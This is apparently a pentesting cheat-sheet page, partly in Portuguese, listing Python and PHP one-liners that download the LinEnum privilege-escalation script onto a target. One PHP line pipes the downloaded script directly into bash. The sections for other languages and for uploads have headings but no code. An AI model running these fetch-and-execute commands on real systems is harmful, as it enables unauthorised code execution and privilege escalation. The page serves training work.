Transferring Files with Code

De acordo com a Wikipedia, há cerca de 700 linguagens de programaçãoarrow-up-right , e podemos criar código em qualquer linguagem de programação, para baixar, carregar ou executar instruções para o SO. Esta seção fornecerá alguns exemplos usando linguagens de programação comuns.

Python

  • Python 2 - Download

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
  • Python 3 - Download

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

  • Download do PHP com File_get_contents()

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
  • Download do PHP com Fopen()

php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
  • PHP Baixe um arquivo e envie-o para o Bash

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Other Languages

  • Ruby - Download a File

  • Perl - Download a File

  • Javascript

  • Criar um arquivo chamado wget.js

  • Baixar um arquivo usando JavaScript e cscript.exe

  • VBScript

  • Criaremos um arquivo chamado wget.vbse salvaremos o seguinte conteúdo:

  • Baixar um arquivo usando VBScript e cscript.exe


Operações de upload usando Python3

  • Iniciando o módulo Python uploadserver

  • Carregando um arquivo usando um Python One-liner

Last updated